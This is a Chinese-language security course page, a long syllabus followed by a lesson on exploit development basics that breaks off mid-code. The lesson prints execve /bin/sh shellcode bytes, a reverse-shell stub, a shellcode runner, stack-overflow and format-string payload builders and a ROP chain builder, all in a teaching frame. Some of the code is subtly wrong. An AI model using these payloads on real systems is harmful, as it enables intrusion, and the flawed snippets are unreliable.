公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-141-应用安全总结与展望
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
Day-182-密码学系列总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-147-漏洞利用开发基础
# Day 161: 漏洞利用开发基础 > 漏洞与攻防系列第 6 天 | 预计阅读时间:60 分钟 | 难度:★★★★★ --- **PUA v3 · Sprint 启动** ``` ┌─────────┬────────────────────────────────────┐ │ 清单 任务 │ 漏洞利用开发基础 - Day 161 │ ├─────────┼────────────────────────────────────┤ │ 味道 │ 阿里味(自动:安全任务) │ ├─────────┼────────────────────────────────────┤ │ 压力 │ L0 · 信任期 │ └─────────┴────────────────────────────────────┘ ``` ▎ 漏洞利用不是黑客炫耀,是安全研究。研究不深入,防护就是表面的。今天深入漏洞利用开发基础。 --- ## 清单 目录 1. [漏洞利用概述](#漏洞利用概述) 2. [漏洞利用原理](#漏洞利用原理) 3. [Shellcode 编写](#shellcode 编写) 4. [缓冲区溢出利用](#缓冲区溢出利用) 5. [ROP 链构建](#rop 链构建) 6. [堆溢出利用](#堆溢出利用) 7. [格式化字符串利用](#格式化字符串利用) 8. [利用框架使用](#利用框架使用) 9. [漏洞利用防护](#漏洞利用防护) 10. [总结与思考](#总结与思考) 11. [参考资料](#参考资料) --- ## 漏洞利用概述 ### 什么是漏洞利用 > ▎ 漏洞利用不是犯罪,是技术研究。技术不合法,使用就是犯罪的。 **定义与价值**: ``` 漏洞利用 (Exploit Development) 是利用软件漏洞实现特定目的 (如代码执行、权限提升) 的技术。 核心价值: 1. 安全研究 - 验证漏洞真实性 - 评估漏洞影响 - 推动漏洞修复 2. 防护改进 - 理解攻击手法 - 改进防护措施 - 提升安全水平 3. 应急响应 - 快速验证影响 - 制定缓解措施 - 指导修复工作 ``` **法律与道德**: ``` ┌─────────────────────────────────────────────────────────┐ │ 漏洞利用法律与道德 │ ├─────────────────────────────────────────────────────────┤ │ │ │ 合法用途: │ │ ✓ 授权渗透测试 │ │ ✓ 安全研究 (隔离环境) │ │ ✓ 漏洞验证 (负责任披露) │ │ ✓ 教学目的 (实验环境) │ │ │ │ 非法用途: │ │ ✗ 未授权访问 │ │ ✗ 恶意攻击 │ │ ✗ 商业间谍 │ │ ✗ 数据窃取 │ │ │ │ 道德准则: │ │ • 仅在授权环境测试 │ │ • 负责任地披露漏洞 │ │ • 不用于非法目的 │ │ • 保护用户隐私 │ │ │ └─────────────────────────────────────────────────────────┘ ``` ### 漏洞利用类型 **利用类型分类**: ```python # 漏洞利用分类 class ExploitClassification: """漏洞利用分类""" # 按目标分类 by_target = { 'local': { 'name': '本地利用', 'description': '需要本地访问权限', 'examples': ['权限提升', '绕过认证'], 'difficulty': 'medium' }, 'remote': { 'name': '远程利用', 'description': '可通过网络利用', 'examples': ['远程代码执行', '服务拒绝'], 'difficulty': 'high' } } # 按效果分类 by_effect = { 'code_execution': { 'name': '代码执行', 'description': '执行任意代码', 'severity': 'critical', 'examples': ['shellcode 执行', '命令执行'] }, 'privilege_escalation': { 'name': '权限提升', 'description': '提升用户权限', 'severity': 'high', 'examples': ['root 提升', 'admin 提升'] }, 'information_disclosure': { 'name': '信息泄露', 'description': '泄露敏感信息', 'severity': 'medium', 'examples': ['内存泄露', '文件读取'] }, 'denial_of_service': { 'name': '拒绝服务', 'description': '使服务不可用', 'severity': 'medium', 'examples': ['崩溃', '资源耗尽'] } } # 按漏洞类型分类 by_vulnerability = { 'buffer_overflow': { 'name': '缓冲区溢出', 'description': '写入超出缓冲区边界', 'exploitation': '覆盖返回地址或函数指针' }, 'use_after_free': { 'name': '释放后使用', 'description': '使用已释放的内存', 'exploitation': '堆喷射,虚表劫持' }, 'format_string': { 'name': '格式化字符串', 'description': '未验证的格式化参数', 'exploitation': '任意地址读写' }, 'integer_overflow': { 'name': '整数溢出', 'description': '整数运算溢出', 'exploitation': '绕过检查,触发溢出' } } ``` --- ## 漏洞利用原理 ### 利用基本原理 > ▎ 利用不是魔法,是科学。科学不理解,利用就是碰运气的。 **利用三要素**: ```python # 漏洞利用三要素 class ExploitElements: """漏洞利用三要素""" elements = { 'vulnerability': { 'name': '漏洞', 'description': '软件中存在的安全缺陷', 'requirements': [ '可触发的缺陷', '可控的输入', '可预测的行为' ] }, 'payload': { 'name': '载荷', 'description': '要执行的代码或数据', 'types': [ 'shellcode (代码执行)', 'ROP chain (绕过保护)', 'data (信息泄露)' ] }, 'trigger': { 'name': '触发器', 'description': '触发漏洞的输入或条件', 'methods': [ '恶意输入', '特定序列', '竞争条件' ] } } def analyze_exploit(self, vulnerability_info): """分析利用可行性""" analysis = { 'exploitable': False, 'difficulty': 'unknown', 'requirements': [], 'mitigations': [] } # 检查漏洞类型 vuln_type = vulnerability_info.get('type', '') if vuln_type in ['buffer_overflow', 'use_after_free', 'format_string']: analysis['exploitable'] = True analysis['difficulty'] = self.assess_difficulty(vulnerability_info) analysis['requirements'] = self.get_requirements(vulnerability_info) analysis['mitigations'] = self.get_mitigations(vulnerability_info) return analysis def assess_difficulty(self, vuln_info): """评估利用难度""" factors = { 'reliability': vuln_info.get('reliability', 'medium'), 'complexity': vuln_info.get('complexity', 'medium'), 'prerequisites': vuln_info.get('prerequisites', []), 'protections': vuln_info.get('protections', []) } # 简化评估 if factors['reliability'] == 'high' and not factors['protections']: return 'easy' elif factors['complexity'] == 'high' or len(factors['protections']) > 2: return 'hard' else: return 'medium' def get_requirements(self, vuln_info): """获取利用要求""" requirements = [] if vuln_info.get('type') == 'buffer_overflow': requirements = [ '可控的输入缓冲区', '可覆盖的返回地址', '已知的内存布局' ] elif vuln_info.get('type') == 'use_after_free': requirements = [ '可控制的释放后访问', '可喷射的堆内存', '可预测的对象布局' ] return requirements def get_mitigations(self, vuln_info): """获取防护措施""" protections = vuln_info.get('protections', []) mitigation_map = { 'ASLR': '地址空间布局随机化 - 需要信息泄露', 'DEP/NX': '数据执行保护 - 需要 ROP', 'Stack_Canary': '栈保护 - 需要泄露 canary', 'CFG': '控制流保护 - 需要绕过检查', 'Safe_Unlink': '安全 unlink - 需要其他方法' } return [mitigation_map.get(p, p) for p in protections] ``` ### 内存布局 **进程内存布局**: ``` x86/x64 进程内存布局: 高地址 ┌─────────────────────────┐ │ 内核空间 │ ├─────────────────────────┤ │ 栈 (Stack) │ ← 向下增长 │ - 局部变量 │ │ - 返回地址 │ │ - 保存的寄存器 │ ├─────────────────────────┤ │ ↓ │ │ ↑ │ │ 堆 (Heap) │ ← 向上增长 │ - 动态分配内存 │ ├─────────────────────────┤ │ BSS (未初始化数据) │ ├─────────────────────────┤ │ 数据段 (已初始化数据) │ ├─────────────────────────┤ │ 代码段 (Text) │ │ - 程序代码 │ │ - 常量 │ └─────────────────────────┘ 低地址 关键区域: ├── 栈:存储局部变量、返回地址 ├── 堆:动态内存分配 ├── 代码段:程序指令 └── 数据段:全局/静态变量 ``` --- ## Shellcode 编写 ### Shellcode 基础 > ▎ Shellcode 不是随便写,是精心编。代码不精心,执行就是失败的。 **什么是 Shellcode**: ``` Shellcode 是一段用于利用软件漏洞的机器代码,通常作为载荷注入目标进程执行。 特点: 1. 位置无关代码 (PIC) - 不依赖绝对地址 - 可重定位 - 自包含 2. 小型化 - 字节数少 - 无 null 字节 - 编码压缩 3. 功能特定 - 执行命令 - 建立连接 - 提升权限 ``` **Shellcode 编写示例**: ```python # Shellcode 编写示例 class ShellcodeWriter: """Shellcode 编写""" def linux_x86_execve(self, command='/bin/sh'): """ Linux x86 execve shellcode 功能:执行 /bin/sh 汇编代码: xor eax, eax ; 清空 eax push eax ; push null (字符串终止符) push 0x68732f2f ; push "//sh" push 0x6e69622f ; push "/bin" mov ebx, esp ; ebx = 指向 "/bin//sh" push eax ; push null (envp) push ebx ; push argv (指向 "/bin//sh") mov ecx, esp ; ecx = argv mov dl, 0x0b ; execve 系统调用号 mov eax, edx ; eax = 0x0b int 0x80 ; 触发系统调用 """ shellcode = ( b'\x31\xc0' # xor eax, eax b'\x50' # push eax b'\x68\x2f\x2f\x73\x68' # push 0x68732f2f (//sh) b'\x68\x2f\x62\x69\x6e' # push 0x6e69622f (/bin) b'\x89\xe3' # mov ebx, esp b'\x50' # push eax b'\x53' # push ebx b'\x89\xe1' # mov ecx, esp b'\x99' # cdq (edx = 0) b'\xb0\x0b' # mov al, 0x0b b'\xcd\x80' # int 0x80 ) return shellcode def linux_x64_execve(self, command='/bin/sh'): """ Linux x64 execve shellcode 汇编代码: xor rdx, rdx ; rdx = 0 (envp) xor rsi, rsi ; rsi = 0 mov rdi, command_addr ; rdi = 指向 "/bin/sh" mov rax, 59 ; execve 系统调用号 syscall ; 触发系统调用 """ shellcode = ( b'\x48\x31\xd2' # xor rdx, rdx b'\x48\x31\xf6' # xor rsi, rsi b'\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68' # mov rbx, 0x68732f2f6e69622f (/bin//sh) b'\x53' # push rbx b'\x48\x89\xe7' # mov rdi, rsp b'\x57' # push rdi (argv) b'\x48\x89\xe6' # mov rsi, rsp b'\x48\x31\xc0' # xor rax, rax b'\xb0\x3b' # mov al, 0x3b (59) b'\x0f\x05' # syscall ) return shellcode def windows_x86_exec(self, command='calc.exe'): """ Windows x86 WinExec shellcode 功能:执行 calc.exe 汇编代码: xor eax, eax push eax ; push null push 0x6578652e ; push ".exe" push 0x636c6163 ; push "calc" mov ebx, esp ; ebx = 指向 "calc.exe" push eax ; push 0 (SW_HIDE) push ebx ; push 指向命令 call WinExec ; 调用 WinExec """ # 注意:实际需要解析 WinExec 地址 # 这里仅示例结构 shellcode = ( b'\x31\xc0' # xor eax, eax b'\x50' # push eax b'\x68\x65\x78\x65\x2e' # push ".exe" b'\x68\x63\x61\x6c\x63' # push "calc" b'\x89\xe3' # mov ebx, esp b'\x50' # push eax b'\x53' # push ebx # 这里需要调用 WinExec,实际需要更复杂的代码 ) return shellcode def reverse_shell(self, ip='127.0.0.1', port=4444): """ 反向 Shell Shellcode 功能:连接攻击者并执行命令 步骤: 1. 创建 socket 2. 连接攻击者 3. 重定向 stdin/stdout/stderr 4. 执行 /bin/sh """ import socket import struct # 编码 IP 地址 ip_bytes = socket.inet_aton(ip) port_bytes = struct.pack('>H', port) # Linux x86 反向 shell shellcode shellcode = ( b'\x31\xc0' # xor eax, eax b'\x31\xdb' # xor ebx, ebx b'\x31\xc9' # xor ecx, ecx b'\x31\xd2' # xor edx, edx b'\x6a\x02' # push 2 (socket) b'\x6a\x01' # push 1 (AF_INET) b'\x58' # pop eax b'\xcd\x80' # int 0x80 (socket) # ... 更多代码 ) return shellcode def encode_shellcode(self, shellcode, encoder='xor'): """编码 Shellcode""" if encoder == 'xor': key = 0xAA encoded = bytes([b ^ key for b in shellcode]) return encoded, key elif encoder == 'base64': import base64 return base64.b64encode(shellcode), None else: return shellcode, None def generate_decoder(self, encoded_shellcode, key): """生成解码器""" # XOR 解码器 stub decoder = ( b'\x31\xc0' # xor eax, eax b'\x31\xdb' # xor ebx, ebx b'\x31\xc9' # xor ecx, ecx # ... 解码循环 ) return decoder + encoded_shellcode ``` ### Shellcode 测试 **测试框架**: ```python # Shellcode 测试 class ShellcodeTester: """Shellcode 测试""" def __init__(self): self.test_results = [] def test_in_process(self, shellcode): """在进程中测试 Shellcode""" import ctypes # 分配可执行内存 PAGE_EXECUTE_READWRITE = 0x40 MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 # 注意:这只应在隔离测试环境中进行 # 实际使用需要谨慎 try: # 分配内存 addr = ctypes.windll.kernel32.VirtualAlloc( 0, len(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) # 复制 Shellcode ctypes.memmove(addr, shellcode, len(shellcode)) # 执行 (危险!仅在测试环境) # ctypes.windll.kernel32.CallFunctionPointer(addr) return {'success': True, 'message': 'Shellcode executed'} except Exception as e: return {'success': False, 'error': str(e)} def test_with_debugger(self, shellcode): """使用调试器测试""" # 生成测试程序 test_program = self.generate_test_program(shellcode) # 使用调试器运行 # 分析执行结果 return {'success': True, 'output': 'test output'} def generate_test_program(self, shellcode): """生成测试程序""" c_code = ''' #include <stdio.h> #include <string.h> #include <sys/mman.h> unsigned char shellcode[] = "''' + shellcode.hex() + '''"; int main() { // 分配可执行内存 void *mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); // 复制 shellcode memcpy(mem, shellcode, sizeof(shellcode)); // 执行 ((void(*)())mem)(); return 0; } ''' return c_code ``` --- ## 缓冲区溢出利用 ### 栈溢出利用 > ▎ 栈溢出不是简单覆盖,是精确控制。控制不精确,利用就是失败的。 **栈溢出原理**: ``` 栈溢出利用步骤: 1. 识别漏洞 ├── 查找缓冲区 ├── 确认溢出点 └── 确定可控范围 2. 确定偏移 ├── 发送模式字符串 ├── 定位崩溃点 └── 计算精确偏移 3. 构造 Payload ├── Shellcode 或 ROP 链 ├── 返回地址覆盖 └── 对齐填充 4. 测试利用 ├── 调试器验证 ├── 稳定性测试 └── 可靠性优化 ``` **溢出利用示例**: ```python # 栈溢出利用示例 class StackOverflowExploit: """栈溢出利用""" def __init__(self, target_binary): self.binary = target_binary self.buffer_size = 0 self.return_address_offset = 0 def find_buffer_size(self): """查找缓冲区大小""" import subprocess # 发送递增长度的输入 for i in range(10, 1000, 10): payload = b'A' * i process = subprocess.run( [self.binary], input=payload, capture_output=True ) if process.returncode != 0: # 发生崩溃,缓冲区大小在 (i-10) 到 i 之间 self.buffer_size = i - 10 break return self.buffer_size def find_offset(self): """查找返回地址偏移""" # 使用循环模式 # 例如:AAAABAACAADAAEAAFAAGAAHAA... pattern = self.generate_cyclic_pattern(1000) import subprocess process = subprocess.run( [self.binary], input=pattern, capture_output=True ) # 从崩溃信息中获取 EIP 值 # 计算偏移 # 示例:如果 EIP = 0x41346341 ("A4cA") # 计算在 pattern 中的位置 self.return_address_offset = 100 # 示例值 return self.return_address_offset def generate_cyclic_pattern(self, length): """生成循环模式""" import string pattern = b'' upper = string.ascii_uppercase.encode() lower = string.ascii_lowercase.encode() digits = string.digits.encode() i = 0 while len(pattern) < length: for a in upper: for b in lower: for c in digits: pattern += bytes([a, b, c]) if len(pattern) >= length: break if len(pattern) >= length: break if len(pattern) >= length: break break return pattern[:length] def calculate_offset(self, pattern, eip_value): """计算偏移""" # 将 EIP 值转换为字节 (小端) import struct eip_bytes = struct.pack('<I', eip_value) # 在 pattern 中查找 offset = pattern.find(eip_bytes) return offset def build_exploit(self, shellcode, return_address): """构建利用代码""" # Payload 结构: # [padding] + [shellcode] + [padding] + [return_address] padding_size = self.return_address_offset - len(shellcode) payload = ( shellcode + # Shellcode b'A' * padding_size + # 填充 struct.pack('<I', return_address) # 返回地址 ) return payload def exploit(self, shellcode, return_address): """执行利用""" payload = self.build_exploit(shellcode, return_address) import subprocess process = subprocess.run( [self.binary], input=payload, capture_output=True ) return process ``` ### 格式化字符串利用 **利用原理**: ``` 格式化字符串漏洞: 漏洞原因: printf(user_input); // 错误:未指定格式 printf("%s", user_input); // 正确 利用方式: 1. 信息泄露 - %x - 读取栈上数据 - %s - 读取内存字符串 - %p - 读取指针 2. 任意地址写入 - %n - 写入已写入字符数 - %hn - 写入 2 字节 - %hhn - 写入 1 字节 ``` **利用示例**: ```python # 格式化字符串利用 class FormatStringExploit: """格式化字符串利用""" def leak_memory(self, target, format_string): """泄露内存""" # 发送格式化字符串 # 例如:"%x.%x.%x.%x" # 解析输出获取内存值 pass def write_to_address(self, target, address, value): """写入到指定地址""" # 使用 %n 写入 # 计算需要写入的字符数 # 构造格式化字符串 # 例如:AAAA%100x%3$n # 写入 100+4 = 104 到第 3 个参数指向的地址 payload = self.build_write_payload(address, value) return payload def build_write_payload(self, address, value): """构建写入 Payload""" import struct # 将地址分解为 2 字节写入 # 减少需要写入的字符数 addr_low = address & 0xFFFF addr_high = (address >> 16) & 0xFFFF value_low = value & 0xFFFF value_high = (value >> 16) & 0xFFFF # 构造 Payload # [addr+2][addr][padding]%<count1>x%<pos1>$hn%<count2>x%<pos2>$hn payload = ( struct.pack('<H', address + 2) + # 高地址 struct.pack('<H', address) + # 低地址 b'%' + str(value_low).encode() + b'x' + b'%1$hn' + b'%' + str(value_high - value_low).encode() + b'x' + b'%2$hn' ) return payload ``` --- ## ROP 链构建 ### ROP 原理 > ▎ ROP 不是简单跳转,是链式调用。链条不完整,执行就是中断的。 **ROP 基础**: ``` ROP (Return-Oriented Programming): 原理: - 利用现有代码片段 (gadgets) - 通过返回地址链式执行 - 绕过 DEP/NX 保护 Gadget 类型: ├── pop reg; ret # 弹出值到寄存器 ├── mov [reg], reg; ret # 内存写入 ├── syscall; ret # 系统调用 └── jmp reg; ret # 跳转 构建步骤: 1. 寻找 Gadgets 2. 确定调用链 3. 构造 ROP 链 4. 测试执行 ``` **ROP 链构建**: ```python # ROP 链构建 class ROPChainBuilder: """ROP 链构建""" def __init__(self, binary): self.binary = binary self.gadgets = {} def find_gadgets(self): """寻找 Gadgets""" import subprocess # 使用 ROPgadget 工具 result = subprocess.run( ['ROPgadget', '--binary', self.binary, '--roponly'], capture_output=True, text=True ) # 解析输出 for line in result.stdout.split('\n'): if ':' in line: addr, instruction = line.split(':', 1) self.gadgets[instruction.strip()] = int(addr, 16) return self.gadgets def build_execve_chain(self, command='/bin/sh'): """构建 execve ROP 链""" # Linux x64 execve ROP 链 # rdi = 指向 "/bin/sh" # rsi = 0 # rdx = 0 # rax = 59 # syscall chain = [] # pop rdi; ret if 'pop rdi; ret' in self.gadgets: chain.append(self.gadgets['pop rdi; ret']) chain.append(self.find_string_addr(command)) # pop rsi; ret if 'pop rsi; ret' in self.gadgets: chain.append(self.gadgets['pop rsi; ret']) chain.append(0) # rsi = 0 # pop rdx; ret if 'pop rdx; ret' in self.gadgets: chain.append(self.gadgets['pop rdx; ret']) chain.append(0) # rdx = 0 # pop rax; ret if 'pop rax; ret' in self.gadgets: chain.append(self.gadgets['pop rax; ret']) chain.append(59) # execve 系统调用号 # syscall if 'syscall; ret' in self.gadgets: chain.append(self.gadgets['syscall; 